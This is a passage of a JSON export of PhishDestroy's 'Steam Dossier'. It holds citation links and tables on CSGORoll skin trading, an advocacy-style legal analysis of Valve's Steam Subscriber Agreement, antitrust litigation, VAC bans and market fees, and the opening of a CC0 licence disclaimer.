            "url": "https://www.csgoroll.com/blog/new-trading-system/"
          },
          {
            "label": "[E63]",
            "url": "https://blog.counter-strike.net/2018/03/20308/"
          },
          {
            "label": "[E64]",
            "url": "https://csgoempire.com/faq"
          },
          {
            "label": "main Valve investigation",
            "url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement.html#enforcement"
          },
          {
            "label": "[E01]",
            "url": "https://www.csgoroll.com/info/terms-of-service/"
          },
          {
            "label": "[E40]",
            "url": "https://www.csgoroll.com/info/games-promotion-rules/"
          },
          {
            "label": "Follow the account-count comparison ↗",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement.html#account-counts"
          },
          {
            "label": "[E27]",
            "url": "https://help.steampowered.com/en/faqs/view/3B6E-B322-2400-8D24"
          },
          {
            "label": "[E32]",
            "url": "https://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD"
          },
          {
            "label": "Where Market and Wallet losses fall outside the trade-reversal route ↗",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement.html#market-losses"
          },
          {
            "label": "Valve and enforcement",
            "url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement.html"
          },
          {
            "label": "Steam access",
            "url": "https://phishdestroy.io/steam_dossier/steam-access.html"
          },
          {
            "label": "https://www.csgoroll.com/info/games-promotion-rules/",
            "url": "https://www.csgoroll.com/info/games-promotion-rules/"
          },
          {
            "label": "https://www.csgoroll.com/blog/csgoroll-g2-collaboration/",
            "url": "https://www.csgoroll.com/blog/csgoroll-g2-collaboration/"
          },
          {
            "label": "https://www.csgoroll.com/info/faq/",
            "url": "https://www.csgoroll.com/info/faq/"
          },
          {
            "label": "https://www.csgoroll.com/blog/new-trading-system/",
            "url": "https://www.csgoroll.com/blog/new-trading-system/"
          },
          {
            "label": "https://www.csgoroll.com/blog/trade-protection-update/",
            "url": "https://www.csgoroll.com/blog/trade-protection-update/"
          },
          {
            "label": "https://www.csgoroll.com/info/terms-of-service/",
            "url": "https://www.csgoroll.com/info/terms-of-service/"
          },
          {
            "label": "https://www.csgoroll.com/info/skin-trading/",
            "url": "https://www.csgoroll.com/info/skin-trading/"
          },
          {
            "label": "https://phishdestroy.io/steam_dossier/case_assets/assets/rwt-warning.png",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/rwt-warning.png"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD",
            "url": "https://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B",
            "url": "https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "https://phishdestroy.io/steam_dossier/",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "https://store.steampowered.com/agreement/?l=english",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "https://blog.counter-strike.net/2018/03/20308/",
            "url": "https://blog.counter-strike.net/2018/03/20308/"
          },
          {
            "label": "https://csgoempire.com/faq",
            "url": "https://csgoempire.com/faq"
          },
          {
            "label": "https://help.steampowered.com/en/faqs/view/3B6E-B322-2400-8D24",
            "url": "https://help.steampowered.com/en/faqs/view/3B6E-B322-2400-8D24"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "Allocation of control in the documented CSGORoll exchange",
            "rows": [
              [
                "Decision",
                "User’s role",
                "Controlling layer",
                "Record"
              ],
              [
                "01Coin valuation",
                "Choose whether to participate",
                "Platform calculation",
                "E02 ↗"
              ],
              [
                "02Item delivery",
                "Send or accept a Steam offer",
                "Users, within Steam’s rules",
                "E03 ↗"
              ],
              [
                "03Verification & disputes",
                "Provide a response or evidence",
                "Operator workflow & support",
                "E06 ↗"
              ],
              [
                "04Credit availability",
                "Rely on the settlement outcome",
                "Platform release rules",
                "E07 ↗"
              ],
              [
                "05Trade cancellation",
                "Request an explanation",
                "Operator discretion",
                "E03 ↗"
              ],
              [
                "06Steam access",
                "Maintain an eligible account",
                "Valve’s infrastructure & terms",
                "E09 ↗"
              ]
            ]
          },
          {
            "id": "table-2",
            "caption": "What an account-level inventory restriction acts on",
            "rows": [
              [
                "Layer",
                "What the restriction can immobilise",
                "What remains outside that account"
              ],
              [
                "The participant",
                "The skins in the restricted inventory and the ability to move their value through a trade.",
                "The participant has to seek a remedy from the platform controlling access."
              ],
              [
                "The outside operator",
                "A delivery route or the items on a particular account.",
                "Its money or cryptocurrency holdings, internal balance records, game rules, pricing system and website."
              ],
              [
                "Valve",
                "The user’s permission to participate in Steam transfers.",
                "Control of the item records, account restrictions and the wider Steam economy."
              ]
            ]
          }
        ],
        "cited_source_ids": [
          "E40",
          "E29",
          "E02",
          "E06",
          "E07",
          "E01",
          "E03",
          "E12",
          "E32",
          "E15",
          "E13",
          "E09",
          "E63",
          "E64",
          "E27"
        ]
      },
      "resources": []
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "legal_analysis",
      "language": "en",
      "title": "Their terms, your rights — The Steam Dossier",
      "author": "PhishDestroy Team",
      "source_url": "https://phishdestroy.io/steam_dossier/legal_analysis",
      "source_file": "steam_dossier/legal_analysis.html",
      "source_html_sha256": "20a54664f6d2fb157ca05ce3243fd566e978bada407b38095a12a2bb9e677f61",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "legal_analysis.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/legal_analysis.pdf",
        "sha256": "e6441f5ddbabd394943400a485be63adb27e2ae2ff4926668af0dd42373f402c",
        "bytes": 336348,
        "pages": 11
      },
      "integrity": {
        "signed_object": "legal_analysis.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/legal_analysis.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/legal_analysis.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nLegal & economic report\nLegal Analysis — Terms of Service & Regulatory Compliance\n\nTheir terms. Your rights.\n\nWHAT THIS SECTION PROVES\n\nThis forensic legal audit assesses the contractual asymmetry between Valve Corporation and Steam users across key regulatory jurisdictions. It establishes how the revocable subscription license strips statutory consumer ownership, analyzes European Court jurisprudence on digital resale exhaustion, and examines compliance under the Digital Services Act (DSA) and GDPR Art. 15. The analysis demonstrates how automated enforcement mechanisms operate without meaningful appeals while platform market fees systematically extract economic value on every peer transaction.\n\n← Back to Executive briefing\n\nThis report presents a legal, economic and technical analysis of the gap between Steam's declared platform rules and the position of the consumer: automated enforcement with little recourse, and extensive corporate control over digital assets. Figures are stated with their source; where a figure could not be traced to a primary record it has been omitted.\n\nVector 1\n\nReplacing \"ownership\" with a revocable licence, so that digital assets can be withdrawn under the agreement.\n\nVector 2\n\nAutomated enforcement (VACNet) whose bans Steam Support states it cannot reverse.\n\nVector 3\n\nAccount and asset controls combined with a 15% CS2 market fee (5% Steam + 10% publisher fee) that removes value from the ecosystem on every resale.\n\nTerms asymmetry\nLiability waiver and the revocable licence\n2.1 The \"subscription\" model vs. property rights\n\nSection 2 of the Steam Subscriber Agreement grants users only a personal, non-exclusive, non-transferable and revocable licence. Under the agreement, Valve may terminate accounts at any time, and unused Steam Wallet balances may be forfeited.\n\n2.2 The refund illusion vs. the EU Consumer Rights Directive\nLegal framework\tRefund mechanism\tLimitation\nEU Consumer Rights Directive\tUnconditional 14-day right of withdrawal on digital content\tWaived if download begins with explicit consumer consent\nSteam SSA\t14 days / under 2 hours played\tValve may deny at its discretion for \"abuse\"\nAssessment\n\nValve conditions the EU's 14-day statutory withdrawal right on its own \"14 days / under 2 hours\" window, accepted at the moment of download before the product can be evaluated. That policy narrows — not extends — the statutory right; whether it lawfully does so is a question for the competent authority, not a conclusion asserted here.\n\nLitigation\nSecondary Market and Antitrust\nUFC Que Choisir v. Valve — France\n2019\nParis court: the exhaustion-of-rights doctrine applies to digital games — resale is lawful\nOct 2022\nParis Court of Appeal reverses the ruling\n23 Oct 2024\nCour de cassation (Supreme Court): video games are \"complex works\" under the InfoSoc Directive, not software. Digital resale prohibited. Valve prevails.\nWolfire Games antitrust — United States (In re Valve Antitrust Litigation, No. 2:21-cv-00563)\n\nValve's Platform Most-Favored-Nation (PMFN) clause prohibits developers from selling Steam keys more cheaply on any other platform. Competing stores — even those charging 12% commission against Valve's 30% — cannot pass the saving on to consumers.\n\n336total Valve employees (2021). Source: unsealed discovery.\n79employees managing the entire Steam platform. Source: unsealed discovery.\n$3.5Mnet income per employee. Source: unsealed discovery.\n\nUnsealed discovery records show $8.5B gross revenue in 2021 on 336 employees. The 79-person Steam team handled 373,000+ daily support tickets by routing them through outsourced, automated call centres.\n\nUNSEALED DOCKET EXHIBIT · W.D. WASH. CASE 2:21-CV-00563 Internal Discovery Memo\n\nTim Sweeney (CEO, Epic Games) to Gabe Newell: \"Why is Steam still taking 30% of gross when payment processing is 2–5% and CDN bandwidth is $0.002/GB? If you subtract out the top 25 games on Steam, I bet Valve made more profit from most of the next 1,000 than the developers themselves made.\"\n\nScott Lynch (COO, Valve Corporation) internal forward to Gabe Newell: \"You mad bro?\"\n\nSworn Deposition Rebuttal (Bloomberg, 2026): Under Rule 30(b)(1) deposition, Gabe Newell testified that \"Valve does not have a policy or practice of dictating prices to third-party software developers on other platforms.\" Plaintiffs confronted Newell with internal Valve memos proving active price policing and delisting threats against developers pricing lower on competing stores. In late March 2026, the Federal Court denied Valve's summary judgment motion, sending the 32,000-developer class action to a jury trial.\nNovember 2024\n\nClass action certified for ~32,000 developers who paid commissions since January 2017, plus a parallel consumer class action.\n\nClaimed damages\n\n$3.1B\nTrebled under US antitrust law = $9.3B potential exposure.\n\nJune 2026: a new lawsuit alleges that Microsoft and Valve engaged in a cartel agreement suppressing competition in PC game distribution.\n\nFinancial Crime & AML Formal Admission\nValve Official Confession: Worldwide Fraud Liquidations (28 October 2019)\n\nOn 28 October 2019, Valve officially terminated the trading and marketplace re-sale of newly purchased Counter-Strike container keys. In its formal public announcement (blog.counter-strike.net/2019/10/26113), Valve Corporation conceded in writing that the virtual economy it architected had become an international money laundering clearinghouse:\n\n\"In the past, most key trades we observed were between legitimate customers. However, worldwide fraud networks have recently shifted to using CS:GO keys to liquidate their gains. At this point, nearly all key purchases that end up being traded or sold on the marketplace are believed to be fraud-sourced.\"\n\nRegulatory Context: This confession followed the Washington State Gambling Commission (WSGC) formal ultimatum to Valve and the July 2016 Cease & Desist orders issued by Valve General Counsel Karl Quackenbush to 23 skin-gambling domains (including CSGO Lotto, CSGOLounge, and OPSkins) only after criminal gambling scrutiny threatened platform operations.\n\nJurisdiction\nA rights-holder in Russia, unreachable to the user\n\nThe Subscriber Agreement presents Valve as a party that owes little and can be reached by no one: locks are permanent, appeals are declined, and access is withdrawn from whole territories on a single line about \"sanctioned regions.\" Set against that posture is what Valve does when its own commercial interests are the thing at stake in a jurisdiction it otherwise treats as difficult.\n\nValve v. Touch Skins — pre-trial IP claim, Russia\n1 Sep 2026\nValve, through the Russian law firm Melling, Voitishkin & Partners, sends a pre-trial demand letter to the operators of Touch Skins, a large CS2 skin-changer, by Russian Post and email.\nGrounds\nThree groups of alleged violations: exclusive rights to the software; rights to the appearance of weapon, knife and glove skins; and Valve's trademarks. The operators' conduct is characterised as deliberate and prolonged.\nDemand\nImmediately cease operation and delete all infrastructure — the software's source code, websites and social-media pages — failing which Valve reserves the right to sue in a Russian court for significant monetary compensation and to refer the matter to law-enforcement for a criminal assessment.\nOutcome\nAfter receiving the letter, the platform announced it was shutting down. Reported as Valve's first use of legal tooling against a skin-changer developer in Russia.\n\nReported by data-miner Maxim \"GabeFollower\" Poletaev (X, ~11 Sep 2026) and Russian gaming press. This is a pre-trial claim, not a filed suit; no docket number is public. Treated here as reported, not as a court record. Sources: dota2.ru archived 2026-09-24 ↗ · Shazoo.\n\nThe same jurisdiction, the other direction\n\nValve is not a stranger to the Russian legal and regulatory system. It complies with Roskomnadzor: on the regulator's demand it removed 260+ Steam community pages carrying prohibited material, and Roskomnadzor has publicly stated that Steam meets the legislation's requirements. Russia's \"landing\" law (Federal Law 236-FZ, in force from 2022) requires large foreign internet platforms serving Russian users to establish a local presence and a Roskomnadzor liaison account. Valve both answers that regulator's takedown orders and, now, wields Russian counsel and the threat of Russian courts to protect its skins as intellectual property.\n\nSo the platform is reachable, capable and rights-asserting exactly where its revenue is concerned. The contrast is with the user: a paying customer in a sanctioned region is told the relationship is over, the community access is locked until 2038, the ticket is closed, and no forum exists in which the decision can be tested — \"they were more than happy to take my money and process my transactions\", the same account's refund from the same Iranian IP having been approved a year earlier (r/pcgaming, 4 Aug 2026; more enforcement letters in the card-economy exhibit). Valve deploys the full apparatus of a national legal system to defend a skin; it affords the user who bought skins no process at all.\n\nValve treats the same jurisdiction as one it can act within, and comply within, whenever the interest at stake is Valve's — Russian counsel, the threat of Russian courts, Roskomnadzor takedown orders answered — while treating its obligations to the users of that market, and of every other, as beyond any process at all. It is a rights-holder where its revenue is concerned and an unreachable party where the user's rights would be.\n\nSources: TASS (RKN: Steam complies) · Federal Law 236-FZ.\n\nLegal opportunism\nThe Arbitration Clause Capitulation\n2023 — the attack\n\nLaw firms (Zaiger LLC, Mason LLP) recruited thousands of users via social media and filed tens of thousands of individual arbitration claims simultaneously.\n\nValve's exposure\n\n$225M+\nin non-refundable arbitration filing fees, before any case was heard on the merits. Calculated under American Arbitration Association (AAA) Consumer Arbitration Rules and Mass Arbitration Supplementary Schedules. Claimants represented by Zaiger LLC and Mason LLP filed ~75,000 individual arbitration demands against Valve Corp. (parallel to antitrust claims in Wolfire Games LLC et al. v. Valve Corp., Case No. 2:21-cv-00563-JCC, W.D. Wash.). Under AAA consumer fee schedules, the business respondent pays non-refundable administrative case fees and arbitrator appointment deposits of ~$3,000+ per individual case (75,000 filings × $3,000 = ~$225M in upfront procedural liabilities). See Bloomberg Law and Reuters legal reports on tech mass arbitration exposure (2023–2024).\n\nPeriod\tSSA dispute mechanism\tObserved effect\tResult\nBefore Sep 2024\tMandatory individual arbitration + class-action waiver\tIndividual litigation becomes economically irrational for users\tMass arbitration → $225M fee threat\nAfter Sep 2024\tDisputes in King County, WA courts only\tArbitration costs are avoided; cases consolidate in a single forum\tClass actions now possible\nConclusion\n\nFor over ten years the SSA required users to waive their right to a jury trial in favour of individual arbitration. After the mass-arbitration filings made that mechanism financially costly to Valve, the SSA was amended to route disputes to King County courts. The change was presented without a meaningful opt-out; the alternative to acceptance was losing access to purchased digital assets by deleting the account.\n\nAlgorithmic enforcement\nVACNet, Presumption of Guilt, and False Positives\nOctober 2023 — AMD Anti-Lag+\n\nAn AMD driver update (v23.10.1) activated Anti-Lag+ in CS2, which intercepted game DLL functions. VAC classified this as cheat-code injection and issued permanent bans to thousands of legitimate users before Valve intervened.\n\nDecember 2023 — high DPI\n\nPlayers with DPI above 10,000 rapidly turning the camera received permanent bans. VACNet could not distinguish physical mouse movement from a \"spinbot\" cheat.\n\nSupport category\tClaimed response time\tActual outcome\nRefund requests\t50 min – 1.5 hr\tAutomatic approval (<14 days, <2 hours played)\nAccount security / recovery\t3–12 hours\tDepends on documentation provided\nContesting a VAC ban\tForm response\tComplete refusal. Support cannot reverse VAC decisions. The ban is permanent.\nOfficial Valve policy\n\n\"VAC bans are permanent, non-negotiable, and cannot be removed by Steam Support.\"\n\nThe same support channel that carries the ban also carries the refusal of review: Steam Support states it cannot reverse a VAC decision. For the user, the algorithm's verdict is the operative outcome.\n\nEconomics of resale\nControl over virtual assets and the resale fee\nThe 15% CS2 market fee — value removed on each resale\nIteration\tBuyer's balance\tSeller receives\tBurned (15%)\n1\t$100.00\t$85.00\t$15.00\n2\t$85.00\t$72.25\t$12.75\n3\t$72.25\t$61.41\t$10.84\n10\t$23.16\t$19.68\t~$3.47\nTotal\t$100 → dust\tValve collects the 15% fee on each resale. Users must add new money to keep trading.\nCS2 trade-up rule change — October 2025\n\nWithout advance notice, Valve altered CS2 trade-up contract rules to allow guaranteed acquisition of rare knives and gloves in exchange for Covert-quality items. Knife prices fell, Covert item prices rose sharply, and panic selling followed across the market.\n\nValve's stated protection is Section 7 of the SSA — no liability for changing platform rules. Users bear the risk in an economy whose rules Valve can change without notice or compensation. The size of the reported market-wide loss is disputed and is not stated here without a primary source.\n\nEuropean regulatory response\nUOKiK, DSA, and the Digital Fairness Act\nUOKiK — Poland, May 2024\n\nPoland's antitrust authority (UOKiK) launched formal antimonopoly proceedings against Valve Corporation and five domestic game publishers/distributors regarding alleged price-fixing, restrictive price-parity clauses, and geo-blocking practices that caused Polish consumers to pay up to 20% more for digital games than neighboring EEA markets. As part of the antitrust inquiry, UOKiK inspectors and police conducted dawn raids and evidence inspections at the Polish premises of domestic partner publishers and distributors (not Valve subsidiary offices, as Valve maintains no Polish entity). Potential statutory fine: up to 10% of annual turnover. Source: UOKiK official announcement, \"Prezes UOKiK wszczął postępowanie przeciwko Valve i twórcom gier\", May 2024.\n\nDigital Services Act (DSA)\n\nRequires transparency in automated moderation. Steam publishes no false-positive/false-negative data for VACNet, and its support channel states that VAC decisions cannot be reversed.\n\nDigital Fairness Act — 2026\n\nExpected provisions: durable access to paid content, prohibition of dark patterns at the point of rights-waiver, recognition of property rights in digital assets, and protection from permanent inventory confiscation.\n\nConclusion\nDocumented gaps between the rules and the record\n1\n\nThe ownership gap. Users pay full price for a licence that the agreement allows Valve to revoke. The French Supreme Court (Oct 2024) held that digital resale is not protected, fixing that position in law.\n\n2\n\nAlgorithmic enforcement. VACNet issued false bans (AMD drivers, high-DPI incidents). Steam Support states it cannot reverse a VAC decision, so the algorithm is the operative final word.\n\n3\n\nEconomy of fees. The 15% CS2 market fee (5% Steam + 10% publisher fee) removes value on every resale, and platform rules can change without notice; Valve's liability for such changes is disclaimed under the SSA.\n\n4\n\nArbitration clause removed. The SSA dropped mandatory arbitration in September 2024, after mass filings exposed Valve to ~$225M in fees. Users received no meaningful opt-out from the change.\n\n5\n\nSelective jurisdiction. Valve engaged Russian counsel (Melling, Voitishkin & Partners) and threatened Russian court proceedings against Touch Skins, while simultaneously treating its obligations to users of that same market as beyond any adjudicative process. Valve acts as a rights-holder where its commercial interests are engaged, and as an unreachable party where the user's rights would be.\n\n← Part I: Proxy bypass & gambling Part II: Access & accountability →\n\nLegal sources and case records are cited to their original publishers and repositories. No ownership of the underlying documents is claimed.",
        "headings": [
          {
            "level": 1,
            "text": "Legal Analysis — Terms of Service & Regulatory Compliance",
            "anchor": "pd-legal_analysis--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/legal_analysis"
          },
          {
            "level": 2,
            "text": "Liability waiver and the revocable licence",
            "anchor": "pd-legal_analysis--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/legal_analysis#ssa"
          },
          {
            "level": 3,
            "text": "2.1 The \"subscription\" model vs. property rights",
            "anchor": "pd-legal_analysis--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/legal_analysis#ssa"
          },
          {
            "level": 3,
            "text": "2.2 The refund illusion vs. the EU Consumer Rights Directive",
            "anchor": "pd-legal_analysis--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/legal_analysis#ssa"
          },
          {
            "level": 2,
            "text": "Secondary Market and Antitrust",
            "anchor": "pd-legal_analysis--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/legal_analysis#courts"
          },
          {
            "level": 3,
            "text": "UFC Que Choisir v. Valve — France",
            "anchor": "pd-legal_analysis--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/legal_analysis#courts"
          },
          {
            "level": 3,
            "text": "Wolfire Games antitrust — United States (In re Valve Antitrust Litigation, No. 2:21-cv-00563)",
            "anchor": "pd-legal_analysis--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/legal_analysis#courts"
          },
          {
            "level": 3,
            "text": "Valve Official Confession: Worldwide Fraud Liquidations (28 October 2019)",
            "anchor": "pd-legal_analysis--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/legal_analysis#courts"
          },
          {
            "level": 2,
            "text": "A rights-holder in Russia, unreachable to the user",
            "anchor": "pd-legal_analysis--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/legal_analysis#selective-jurisdiction"
          },
          {
            "level": 3,
            "text": "Valve v. Touch Skins — pre-trial IP claim, Russia",
            "anchor": "pd-legal_analysis--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/legal_analysis#selective-jurisdiction"
          },
          {
            "level": 3,
            "text": "The same jurisdiction, the other direction",
            "anchor": "pd-legal_analysis--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/legal_analysis#selective-jurisdiction"
          },
          {
            "level": 2,
            "text": "The Arbitration Clause Capitulation",
            "anchor": "pd-legal_analysis--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/legal_analysis#arbitration"
          },
          {
            "level": 2,
            "text": "VACNet, Presumption of Guilt, and False Positives",
            "anchor": "pd-legal_analysis--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/legal_analysis#vacnet"
          },
          {
            "level": 2,
            "text": "Control over virtual assets and the resale fee",
            "anchor": "pd-legal_analysis--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/legal_analysis#economy"
          },
          {
            "level": 3,
            "text": "The 15% CS2 market fee — value removed on each resale",
            "anchor": "pd-legal_analysis--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/legal_analysis#economy"
          },
          {
            "level": 3,
            "text": "CS2 trade-up rule change — October 2025",
            "anchor": "pd-legal_analysis--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/legal_analysis#economy"
          },
          {
            "level": 2,
            "text": "UOKiK, DSA, and the Digital Fairness Act",
            "anchor": "pd-legal_analysis--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/legal_analysis#eu"
          },
          {
            "level": 2,
            "text": "Documented gaps between the rules and the record",
            "anchor": "pd-legal_analysis--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/legal_analysis#conclusion"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/legal_analysis"
          },
          {
            "label": "← Back to Executive briefing",
            "url": "https://phishdestroy.io/steam_dossier/index.html#briefing-heading"
          },
          {
            "label": "dota2.ru",
            "url": "https://dota2.ru/news/67707-valve-cerez-uristov-napravila-krupnoj-rossijskoj-skincendzer-platforme-trebovanie-o-prekrasenii-deatelnosti/"
          },
          {
            "label": "archived 2026-09-24 ↗",
            "url": "https://web.archive.org/web/20260924181657/https://dota2.ru/news/67707-valve-cerez-uristov-napravila-krupnoj-rossijskoj-skincendzer-platforme-trebovanie-o-prekrasenii-deatelnosti/"
          },
          {
            "label": "Shazoo",
            "url": "https://shazoo.ru/2026/09/12/190508/valve-cerez-rossiiskix-iuristov-dobilas-zakrytiia-krupnogo-skinceindzera-dlia-cs2"
          },
          {
            "label": "r/pcgaming, 4 Aug 2026",
            "url": "https://www.reddit.com/r/pcgaming/comments/1vf24lu/warning_to_all_gamersexpats_steam_took_my_money/"
          },
          {
            "label": "the card-economy exhibit",
            "url": "https://phishdestroy.io/steam_dossier/card_economy#asymmetry"
          },
          {
            "label": "TASS (RKN: Steam complies)",
            "url": "https://tass.ru/obschestvo/23235387"
          },
          {
            "label": "Federal Law 236-FZ",
            "url": "https://base.garant.ru/401414628/"
          },
          {
            "label": "UOKiK official announcement, \"Prezes UOKiK wszczął postępowanie przeciwko Valve i twórcom gier\", May 2024",
            "url": "https://uokik.gov.pl/en/video-game-market-preliminary-investigation"
          },
          {
            "label": "← Part I: Proxy bypass & gambling",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "Part II: Access & accountability →",
            "url": "https://phishdestroy.io/steam_dossier/investigation_part2"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "",
            "rows": [
              [
                "Legal framework",
                "Refund mechanism",
                "Limitation"
              ],
              [
                "EU Consumer Rights Directive",
                "Unconditional 14-day right of withdrawal on digital content",
                "Waived if download begins with explicit consumer consent"
              ],
              [
                "Steam SSA",
                "14 days / under 2 hours played",
                "Valve may deny at its discretion for \"abuse\""
              ]
            ]
          },
          {
            "id": "table-2",
            "caption": "",
            "rows": [
              [
                "Period",
                "SSA dispute mechanism",
                "Observed effect",
                "Result"
              ],
              [
                "Before Sep 2024",
                "Mandatory individual arbitration + class-action waiver",
                "Individual litigation becomes economically irrational for users",
                "Mass arbitration → $225M fee threat"
              ],
              [
                "After Sep 2024",
                "Disputes in King County, WA courts only",
                "Arbitration costs are avoided; cases consolidate in a single forum",
                "Class actions now possible"
              ]
            ]
          },
          {
            "id": "table-3",
            "caption": "",
            "rows": [
              [
                "Support category",
                "Claimed response time",
                "Actual outcome"
              ],
              [
                "Refund requests",
                "50 min – 1.5 hr",
                "Automatic approval (<14 days, <2 hours played)"
              ],
              [
                "Account security / recovery",
                "3–12 hours",
                "Depends on documentation provided"
              ],
              [
                "Contesting a VAC ban",
                "Form response",
                "Complete refusal. Support cannot reverse VAC decisions. The ban is permanent."
              ]
            ]
          },
          {
            "id": "table-4",
            "caption": "",
            "rows": [
              [
                "Iteration",
                "Buyer's balance",
                "Seller receives",
                "Burned (15%)"
              ],
              [
                "1",
                "$100.00",
                "$85.00",
                "$15.00"
              ],
              [
                "2",
                "$85.00",
                "$72.25",
                "$12.75"
              ],
              [
                "3",
                "$72.25",
                "$61.41",
                "$10.84"
              ],
              [
                "10",
                "$23.16",
                "$19.68",
                "~$3.47"
              ],
              [
                "Total",
                "$100 → dust",
                "Valve collects the 15% fee on each resale. Users must add new money to keep trading."
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": []
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "license_disclaimer",
      "language": "en",
      "title": "License · Rights · Disclaimer — PhishDestroy",
      "author": "PhishDestroy Team",
      "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer",
      "source_file": "steam_dossier/license_disclaimer.html",
      "source_html_sha256": "e31065821d90f306d4a91f185a203f2b5833d147bf2cfd44fd6e000151b04a1f",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "license_disclaimer.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/license_disclaimer.pdf",
        "sha256": "de7d9ccf80357fa7a0ad1cc8f5b4c94eeab1385ef351e4413cc936fa56eccfff",
        "bytes": 297096,
        "pages": 15
      },
      "integrity": {
        "signed_object": "license_disclaimer.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/license_disclaimer.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/license_disclaimer.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nPHISHDESTROYForensic investigation · Valve / Steam\nLicense · Rights · Disclaimer\nLicense & Legal Disclaimer — Public Domain Dedication\n\nAll rights surrendered to humanity.\n\nPublic rights declarationCC0 1.0 Universal\n\nUse · adapt · translate · commercialise\n\nRead the full terms\n\nPhishDestroy gives up every right to this material — reproduce it, sell it, put your name on it. What follows is two documents in one voice's clothing: an open letter to Valve, written the way we actually write, and a formal waiver written for the authority that will carry the substance forward.\n\nOne fact. One author. One signature.\n\nThis dossier is a collection of individually attributed fragments, compiled by PhishDestroy.\n\nRead the authorship agreement (§5)Open the fragment map — authors, PDFs, JSONs and signatures\nFormal register · for the authority\nDeclarationAs to use and rights\n\nPhishDestroy Project & Cybersecurity Coalition\n\nThis declaration accompanies every submission and every exhibit in this referral set. It is addressed to any authority, court, regulator, prosecutor, researcher, journalist or affected person into whose hands the material comes.\n\n1. There are no conditions on use\n\n1.1 All material produced by the 